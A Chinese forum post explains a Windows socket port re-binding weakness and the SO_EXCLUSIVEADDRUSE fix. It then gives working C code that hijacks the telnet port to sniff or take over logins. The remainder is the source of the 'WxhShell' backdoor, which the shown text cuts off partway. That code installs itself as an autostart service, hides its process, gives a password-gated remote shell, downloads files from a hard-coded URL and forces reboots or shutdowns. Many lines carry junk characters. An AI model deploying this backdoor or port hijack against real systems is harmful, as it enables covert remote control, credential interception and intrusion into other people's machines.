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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /] R]7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (j cLzq  
>~ne(n4qy  
  saddr.sin_family = AF_INET; |7f}icXKur  
"e(OO/EZS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6o{anHBB  
e"2 wXd_}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JQ.ZAhv  
nYE_WXY3V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qk:F6kL\`  
43 |zjE  
  这意味着什么?意味着可以进行如下的攻击: Oj<2_u  
Ujw ^j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \DfvNeF  
ch< zpo:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B4J^ rzK  
VS 8|lgQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  {kmaMP  
Que)kjp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SYl :X   
v 7Pv&|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Y IVHl  
S Xgpj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <QszmE  
9l(e:_`_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D./e|i?  
ef|Y2<P  
  #include -|V@zSKr3  
  #include 4jar5Mz  
  #include ;r`[6[AG  
  #include    ;/e!!P]jP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A03PEaZO  
  int main() fC(lY4,H3R  
  { s7&% _!4  
  WORD wVersionRequested; u8o!ncy  
  DWORD ret; @$t Qz  
  WSADATA wsaData; ) Oa"B;\j  
  BOOL val; qQVqS7 t  
  SOCKADDR_IN saddr; CZ1 tqAk-  
  SOCKADDR_IN scaddr; u wf3  
  int err; d~28!E+  
  SOCKET s; Hm4lR{A  
  SOCKET sc; #%+IU  
  int caddsize; g ,Q!F  
  HANDLE mt; {Y\hr+A  
  DWORD tid;   ,`H=%#  
  wVersionRequested = MAKEWORD( 2, 2 ); 'jmcS0f -  
  err = WSAStartup( wVersionRequested, &wsaData ); dJCu`34Y'|  
  if ( err != 0 ) { uOZ+9x(  
  printf("error!WSAStartup failed!\n"); lr^-  
  return -1; +mAMCM2N  
  } T@k&YJ  
  saddr.sin_family = AF_INET; t6 js@Ih  
   :*Ckq~[Hg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M@csB.'  
4W^0K|fq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +IJpqFH  
  saddr.sin_port = htons(23); ;'cv?3Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lu-owP7nB  
  { @NX^__ sa  
  printf("error!socket failed!\n"); MA"iM+Ar  
  return -1; 3,iL#_+t  
  } x\t>|DB  
  val = TRUE; h=)Im )  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )(?s=<H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xG<S2R2VQh  
  { S;*,V |#QD  
  printf("error!setsockopt failed!\n"); >"ZTyrK  
  return -1; 5t0i/&zX  
  } c*6o{x}K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @|5B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yhUc]6`V.H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IK}T. *[  
36lIV,YnU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m,=$a\UC  
  { yP[GU| >(  
  ret=GetLastError(); o@ ;w!'  
  printf("error!bind failed!\n"); R_Eu*Qu j  
  return -1; \ fwf\&  
  } )\^%w9h  
  listen(s,2); d8Upr1_  
  while(1) hRA.u'M  
  { Qaagi `  
  caddsize = sizeof(scaddr); &I d ^n  
  //接受连接请求 S%Ja:0=}?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i|=}zR  
  if(sc!=INVALID_SOCKET) Sw(%j1uL  
  { r$0=b -  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TTqOAo[-Z  
  if(mt==NULL) Up/1c:<J  
  { uw]e$,x?  
  printf("Thread Creat Failed!\n"); `D#l(gZ  
  break; {d )Et;_  
  }  .# M 5L  
  } v~@Y_ `l  
  CloseHandle(mt); EB\z:n5  
  } $SXF>n{}  
  closesocket(s); ~=#jO0dE|  
  WSACleanup(); # &M  
  return 0; HWe.|fH:  
  }   3V,X=  
  DWORD WINAPI ClientThread(LPVOID lpParam) s  fti[  
  { c#G(7.0MU  
  SOCKET ss = (SOCKET)lpParam; _X@:- _  
  SOCKET sc; MjG .Ili$m  
  unsigned char buf[4096]; `knw1,qL"  
  SOCKADDR_IN saddr; 9|#h )*  
  long num; f \4Qp  
  DWORD val; wmoOp;C  
  DWORD ret; e HOm^.gd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #XmN&83_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u1<xt1K  
  saddr.sin_family = AF_INET; $_)f|\s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <[pU rJfTr  
  saddr.sin_port = htons(23); d$Mj5wN:q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :0srFg?X  
  { e3[QM  
  printf("error!socket failed!\n"); Ufo- AeQo  
  return -1; V=S`%1dLN  
  } BkO"{  
  val = 100; j^64:3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v4Nb/Y  
  { U&B~GJT+  
  ret = GetLastError(); TyK; q{  
  return -1; 6J=~*&  
  } ;=e A2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s )To#  
  { 1pz6e8p:m  
  ret = GetLastError(); fc!%W#-  
  return -1; B8IfE`  
  } (/hF~A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eueXklpg+  
  { M)b`~|Wt  
  printf("error!socket connect failed!\n"); ? th+~dE  
  closesocket(sc); &1Az`[zKGW  
  closesocket(ss); OB"QWdh  
  return -1; oxad}Y  
  } m:"2I&0)WM  
  while(1) JG4&eK$-  
  { $~ `(!pa:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )p!dql K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 esLY1c%"/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #}jf TM  
  num = recv(ss,buf,4096,0); x K_$^c.  
  if(num>0) :z"Uw*  
  send(sc,buf,num,0); -D V;{8U4  
  else if(num==0) 3^`bf=R  
  break; Ezml LFp.  
  num = recv(sc,buf,4096,0);  m+vwp\0  
  if(num>0) [PQG]"  
  send(ss,buf,num,0); rre;HJGEL  
  else if(num==0) tL IE^  
  break; ' u0{h  
  } a~{St v  
  closesocket(ss); 7,O^c +  
  closesocket(sc); c=Z#7?k=Uz  
  return 0 ; n09|Jzv9  
  } NtT)Wl  
{+`ep\.$&  
XRNL;X%}7  
========================================================== "Dy&`  
X0=R @_KY  
下边附上一个代码,,WXhSHELL 2C-RoZ~  
$jc>?.6  
========================================================== LpF6e9V\Wp  
=l_eliM/  
#include "stdafx.h" &GbCJ  
=]Ek12.  
#include <stdio.h> I5D\Z  
#include <string.h> 9(B)  
#include <windows.h> 'dht5iI;Yw  
#include <winsock2.h> f,?7,?x  
#include <winsvc.h> DSnsi@Mi  
#include <urlmon.h> RhDa`kV%t  
(8>k_  
#pragma comment (lib, "Ws2_32.lib") %EVg.k$  
#pragma comment (lib, "urlmon.lib") OZv&{_b_  
UcK!v*3E  
#define MAX_USER   100 // 最大客户端连接数 S@*@*>s^  
#define BUF_SOCK   200 // sock buffer ll5Kd=3  
#define KEY_BUFF   255 // 输入 buffer hpw;w}m  
Gge"`AT  
#define REBOOT     0   // 重启 E]7G4  
#define SHUTDOWN   1   // 关机 /_56H?w\  
+nqOP3  
#define DEF_PORT   5000 // 监听端口 W>, b1_k c  
4<O[d  
#define REG_LEN     16   // 注册表键长度 3g6R<Ez  
#define SVC_LEN     80   // NT服务名长度 %_3{Db`R>  
Lh. L~M1X  
// 从dll定义API "iKK &%W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CP?\'a"Kt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m.4y=69 &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q.8Jgel1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &MKv _  
7*4F-5G/  
// wxhshell配置信息 .II'W3Fr  
struct WSCFG { 4frZ .r;V  
  int ws_port;         // 监听端口 >&$ V"*]  
  char ws_passstr[REG_LEN]; // 口令 "+AeqrYYm5  
  int ws_autoins;       // 安装标记, 1=yes 0=no BS{">lPmx  
  char ws_regname[REG_LEN]; // 注册表键名 R.RCa$  
  char ws_svcname[REG_LEN]; // 服务名 &0o&!P8CB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -BjB>Vt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "o TwMU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J5l:_hZUV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lOE bh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *vj5J"Y(;t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (d~'H{q  
8EP^M~rv  
}; RZz].Nx  
C( r?1ma  
// default Wxhshell configuration 2Hq!YsJ4]  
struct WSCFG wscfg={DEF_PORT, :`uo]B"  
    "xuhuanlingzhe", c[;I\g  
    1, VX- f~  
    "Wxhshell", 0_Y;r{3m"  
    "Wxhshell", <vj&e(D^  
            "WxhShell Service", I 4EocM=  
    "Wrsky Windows CmdShell Service", z3$PrK%  
    "Please Input Your Password: ", EoY570PN  
  1, T&{EqsI=B  
  "http://www.wrsky.com/wxhshell.exe",  M,6AD]  
  "Wxhshell.exe" $AX!L+<!  
    }; u4Xrvfb,  
ZBnf?fU  
// 消息定义模块 [qb#>P2G3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \@80Z5?n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +-{H T+W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K3@UoR  
char *msg_ws_ext="\n\rExit."; t[DXG2&  
char *msg_ws_end="\n\rQuit."; )X7ZX#ttH  
char *msg_ws_boot="\n\rReboot..."; mM95BUB  
char *msg_ws_poff="\n\rShutdown..."; '7xY ,IY  
char *msg_ws_down="\n\rSave to "; .vb*|So  
Q"(i  
char *msg_ws_err="\n\rErr!"; pQqZ4L6v  
char *msg_ws_ok="\n\rOK!"; '8W }|aF  
LS \4y&J40  
char ExeFile[MAX_PATH]; _ Fer-nQ2R  
int nUser = 0; ?=fJu\;  
HANDLE handles[MAX_USER]; gFW1Nm_DJ  
int OsIsNt; PgxU;N7Y  
0ogTQ`2Z:  
SERVICE_STATUS       serviceStatus; 9x:c"S*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $w65/  
:|d3BuY  
// 函数声明 b_6j77  
int Install(void); $A-b-`X  
int Uninstall(void); rA_e3L@v#[  
int DownloadFile(char *sURL, SOCKET wsh); u''(;U[  
int Boot(int flag); |m?0h.O,  
void HideProc(void); "q%Q[^b  
int GetOsVer(void); uEk$Y=p7!  
int Wxhshell(SOCKET wsl); W"~G]a+  
void TalkWithClient(void *cs); rK`*v*  
int CmdShell(SOCKET sock); z |t0mS$  
int StartFromService(void); kgA')]  
int StartWxhshell(LPSTR lpCmdLine); ++FMkeHZ  
gE%-Pf~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =*I>MgCJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8S)k]$wf%  
[jY_e`S  
// 数据结构和表定义 Iw48+krm>  
SERVICE_TABLE_ENTRY DispatchTable[] = {Ynr(J.  
{ N7[i443a  
{wscfg.ws_svcname, NTServiceMain}, J\Se wg9  
{NULL, NULL} |}#Rn`*2y  
}; 3ldOOQW%  
f^',J@9@  
// 自我安装 q3 9 RD  
int Install(void) "Z,'NL>&  
{ iJ#sg+  
  char svExeFile[MAX_PATH]; 2.CI^.5&  
  HKEY key; Gm_Cq2PD(  
  strcpy(svExeFile,ExeFile); 92S<TAdPP  
CjD2FnjT  
// 如果是win9x系统,修改注册表设为自启动 I|08[ mO  
if(!OsIsNt) { yA6"8fr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /#.6IV(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =0O`VSb  
  RegCloseKey(key); (B[0BjU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {@({po  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]ul]L R%.  
  RegCloseKey(key); eH75: `  
  return 0; VFRUiz/C  
    } !K3 #4   
  } +A/n <VH  
} b}axw+  
else { S3.Pqp_<  
#IgY'L  
// 如果是NT以上系统,安装为系统服务 )5p0fw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w+[r$+z!k  
if (schSCManager!=0) I>fEwMk~  
{ @m#7E4 +  
  SC_HANDLE schService = CreateService 02bv0  
  ( ^cX);koO  
  schSCManager, %e=BC^VW  
  wscfg.ws_svcname, e6,/ i  
  wscfg.ws_svcdisp, vJK0>":G  
  SERVICE_ALL_ACCESS, )6Hc Pso6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8 \%*4L'  
  SERVICE_AUTO_START, bluhiiATd  
  SERVICE_ERROR_NORMAL, :+en8^r%  
  svExeFile, f%d7?<rw  
  NULL, U%"v7G-  
  NULL, 3>c<E1   
  NULL, +Z /Pj_.o  
  NULL, >^kRIoBkg  
  NULL : 3*(kb1)&  
  ); LzP+l>m  
  if (schService!=0) P>Pw;[b>O  
  { ]B\H  
  CloseServiceHandle(schService); B`9'COw  
  CloseServiceHandle(schSCManager); "1WwSh}Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /tDwgxJ  
  strcat(svExeFile,wscfg.ws_svcname); 4IIe1 .{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OZDnU6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e=Kf<ZQt  
  RegCloseKey(key); qfx=   
  return 0; FG'F]f c%  
    } RCgZ GP  
  } [|E 93g  
  CloseServiceHandle(schSCManager); z-ra]  
} x^xlH!Sc  
} ms`R ^6Ra  
YyjnyG  
return 1; auK*\Wjm?  
} e@w-4G(;  
~*ST fyFw  
// 自我卸载 _e7 Y R+  
int Uninstall(void) 7c5+8k3  
{ Hq ]f$Q6:  
  HKEY key; .\".}4qQ  
1T!(M"'Ij  
if(!OsIsNt) { =0 mf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Am{Vtl)i  
  RegDeleteValue(key,wscfg.ws_regname); H0LEK(K  
  RegCloseKey(key); LJ\uRfs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T2Ms/1FH/@  
  RegDeleteValue(key,wscfg.ws_regname); { ZrIA+eH  
  RegCloseKey(key); zU}Ru&T9  
  return 0; PqKbG<}Y  
  } V*Ta[)E  
} s\@RJ[(<  
} Mj2`p#5wKh  
else { NI,i)OSEN  
*QH@c3vUe\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o/t^rY y  
if (schSCManager!=0)  dtTQY  
{ xU6)~ae`JW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DQui7dr)l  
  if (schService!=0) =C gcRxng  
  { p48m k  
  if(DeleteService(schService)!=0) { >cpT_M&C,  
  CloseServiceHandle(schService); ckykRqk}  
  CloseServiceHandle(schSCManager); $3psSQQo  
  return 0; `bY>f_5+  
  } Utd`T+AF*  
  CloseServiceHandle(schService); r01Z 0>  
  } ae_Y?g+3  
  CloseServiceHandle(schSCManager); R6eKI,y\"  
} 4L)#ku$jW  
} Qu"zzb"k  
vgKZr  
return 1;  0@7%  
} }M7{~ov#s  
v P;  
// 从指定url下载文件 A6eIf  
int DownloadFile(char *sURL, SOCKET wsh) EX@wenR  
{ gc,%A'OR^<  
  HRESULT hr; h9-^aB$8^  
char seps[]= "/"; 5 6w6=Is  
char *token; N hG?@N  
char *file; v,, .2UR4  
char myURL[MAX_PATH]; ||yx?q6\h  
char myFILE[MAX_PATH]; 57@6O-t-  
%wil'  
strcpy(myURL,sURL); .6C9N{?Tqf  
  token=strtok(myURL,seps); UZvF5Hoe+O  
  while(token!=NULL) vJI]ZnL{  
  { 2 zE gAc  
    file=token;  %JoHc?  
  token=strtok(NULL,seps); EC;R^)  
  } |2AMj0V~  
6,Z.R T{5  
GetCurrentDirectory(MAX_PATH,myFILE); Mj!\EUn  
strcat(myFILE, "\\"); <UsFBF  
strcat(myFILE, file); &l M=>?  
  send(wsh,myFILE,strlen(myFILE),0); U</Vcz  
send(wsh,"...",3,0); `-Y8T\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \*yH33B9  
  if(hr==S_OK) Q%>6u@'  
return 0; D`hl}  
else C}jFR] x)  
return 1; pz4lC=H%o  
:#nfdvqm  
} r_>]yp  
T"IDCT'z  
// 系统电源模块 uSQlE=  
int Boot(int flag) 8SGqDaRt  
{ |!m8JV|x  
  HANDLE hToken; db*yA@2Lg  
  TOKEN_PRIVILEGES tkp; U\y:\+e l  
ly9tI-E  
  if(OsIsNt) { Nhf@Y}Cu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e92,@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NdxPC~Z+  
    tkp.PrivilegeCount = 1; 6K7DZ96L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pG&#xRk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K&4FFZ  
if(flag==REBOOT) { Wr+/ 9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V |cPAT%  
  return 0; :;Xh`br  
} \JLea$TM:  
else { )gVz?-u+D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yOTC>?p%  
  return 0; D/)E[Fv+  
} E[NszM[P  
  } nixIKOnjC  
  else { >q&X#E<w  
if(flag==REBOOT) { D]=V6l=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) awB+B8^s  
  return 0; x1`4hB  
} e+~@"^|  
else { q:cCk#ra  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :8t;_f  
  return 0; {[ pzqzL6  
} Bv xLbl}  
} =JaxT90x  
FJD;LpW  
return 1; 'ws@I?!r  
} {F=`IE3)w  
]bP1gV(b-  
// win9x进程隐藏模块 JA09 o(  
void HideProc(void) :JXGgl<y  
{ @rP#ktz]  
Vd;N T$S$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z'~/=a)7  
  if ( hKernel != NULL ) V}h <,E9  
  {  5fq4[a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (M# m BS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P"{yV?CNg  
    FreeLibrary(hKernel); @$fvhEkrT@  
  } RF}R~m9]  
<:>[24LJ{  
return; "_0sW3rG  
} NT=)</v  
Z&|Dp*Z  
// 获取操作系统版本 eGW h]%  
int GetOsVer(void) 3Yf~5csY  
{ 7q&T2?GEN  
  OSVERSIONINFO winfo; )i"52!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nd He::  
  GetVersionEx(&winfo); s|][p|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d(YAH@  
  return 1; (qw;-A W8  
  else weMufT  
  return 0; LJSx~)@  
} ]+5Y\~I  
l0PXU)>C  
// 客户端句柄模块 w~~[0e+E  
int Wxhshell(SOCKET wsl) q*<FfO=eQ  
{ e$`;z%6y  
  SOCKET wsh; }XD=N#p@z  
  struct sockaddr_in client; 0.wNa~_G|  
  DWORD myID; bE!z[j]  
b63DD(  
  while(nUser<MAX_USER) XnKf<|j6k  
{ [:/mjO K  
  int nSize=sizeof(client); ky{@*fg.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =d$m@rc0r  
  if(wsh==INVALID_SOCKET) return 1; iU|X/>k?  
)TcD-Jr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^7Ebg5<  
if(handles[nUser]==0)  c`}YL4  
  closesocket(wsh); J ql$ g  
else =)%~QK {Y  
  nUser++; 79 \SbB  
  } ]P2Wa   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F8J\#PW  
[+!~RV_  
  return 0; !jg< S>S5  
} -n:;/ere7-  
g*WY kv  
// 关闭 socket *|,ye5"  
void CloseIt(SOCKET wsh) %<>|cO  
{ h^f?rWD:nz  
closesocket(wsh); ~X-v@a  
nUser--; |[@v+koq  
ExitThread(0); 0?''v>%  
} 0pBG^I`_  
CN6b 982&  
// 客户端请求句柄 ;73{n*a$  
void TalkWithClient(void *cs) `^ )oVs  
{ _z@_.%P\  
m'eM&1Ba  
  SOCKET wsh=(SOCKET)cs; , _bG'Hmt  
  char pwd[SVC_LEN]; >&JS-j Fg  
  char cmd[KEY_BUFF]; #<5i/5&  
char chr[1]; i'`>YX  
int i,j; r@CbhD  
qhmA)AWG>  
  while (nUser < MAX_USER) { #TIlM]5%  
s,j=Kym%  
if(wscfg.ws_passstr) { L-|u=c-6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E8.1jCL>{"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o;v_vCLO  
  //ZeroMemory(pwd,KEY_BUFF); -+Z&O?pSH  
      i=0; loD:4e1  
  while(i<SVC_LEN) { % O*)'ni  
&g!yRvM!;Q  
  // 设置超时 *X 2dS {  
  fd_set FdRead; RaA7 U   
  struct timeval TimeOut; } O:l]O`  
  FD_ZERO(&FdRead); qJK6S4O]  
  FD_SET(wsh,&FdRead); "4CO^ B  
  TimeOut.tv_sec=8; rs@qC>_C0  
  TimeOut.tv_usec=0; `jT1R!$3F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  s-S|#5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t x1(6V&l;  
zLjQ,Lp.I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H,)2Ou-Wn  
  pwd=chr[0]; J6J; !~>_  
  if(chr[0]==0xd || chr[0]==0xa) { Zb2.o5#}  
  pwd=0; "9,+m$nj  
  break; =BBq K=W.d  
  } 9j1 tcT  
  i++; 6~Y`<#X5J  
    } 0T:ZWRjH  
vl5r~F  
  // 如果是非法用户,关闭 socket mam(h{f$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ns-3\~QSi  
} GTW5f  
lsOZ%p%fV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A"B[F#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &z"yls  
o vX9  
while(1) { ETaLE[T%1  
~ym-Szo  
  ZeroMemory(cmd,KEY_BUFF); ys9MV%*  
Es+BV+x[.c  
      // 自动支持客户端 telnet标准   M!iYj+nrP  
  j=0; (C hL$!x  
  while(j<KEY_BUFF) { Cc` )P>L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q46sPMH+_  
  cmd[j]=chr[0]; M9wj };vy  
  if(chr[0]==0xa || chr[0]==0xd) { MU~nvs;:  
  cmd[j]=0; FhMl+Ou  
  break; zqb3<WP"  
  } WQ1*)h8,9  
  j++; ^/jALA9!  
    } *Ui>NTl  
XLFo"f  
  // 下载文件 E#,n.U>#)  
  if(strstr(cmd,"http://")) { H_7X%TvXb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pAd SOR2  
  if(DownloadFile(cmd,wsh)) 3o^  oq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-1 F9  
  else a\v@^4   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G8F43!<  
  } TYgn X  
  else { ~f] I0FK  
Z#|IMmT;*=  
    switch(cmd[0]) { M2y"M,k4  
  =#{i;CC%  
  // 帮助 *M()z.N  
  case '?': { VK?c='zg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AME6Zu3Y  
    break; Js!V,={iX  
  } 30$Q5]T  
  // 安装 W\<p`xHk  
  case 'i': { oF#]<Z\  
    if(Install()) m_r_4BP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\_[+@*EJ  
    else 1|%C66f^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &B>YiA  
    break; cG I^IPI  
    } HtGGcO'bqg  
  // 卸载 R(F+Xg je  
  case 'r': { @d=4C{g%o  
    if(Uninstall()) zmh3 Qa(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U)gr C8 C  
    else *dm?,~f%<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6(WnO{6  
    break; i3 n0W1~  
    } 2j7e@pr  
  // 显示 wxhshell 所在路径 _J`q\N K  
  case 'p': { qlfYX8edZ  
    char svExeFile[MAX_PATH]; olO&7jh7|  
    strcpy(svExeFile,"\n\r"); 0YVkq?1x9  
      strcat(svExeFile,ExeFile); xt"GO  b  
        send(wsh,svExeFile,strlen(svExeFile),0); 3re|=_ Hy  
    break; \~bE|jWbj  
    } '1yy&QUZq  
  // 重启 (@1*-4l  
  case 'b': { j{u! /FD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1?bX$$y l;  
    if(Boot(REBOOT))  *$o{+YP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rw\S-z/  
    else { M/mUY  
    closesocket(wsh); CJu3h&Rp  
    ExitThread(0); f,}]h~w\  
    } wH Q$F(by  
    break; e(m#elX  
    } /|2#s%|-=  
  // 关机 zg83->[  
  case 'd': { pg'3j3JW$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \;Ywr3  
    if(Boot(SHUTDOWN)) 53cW`F  
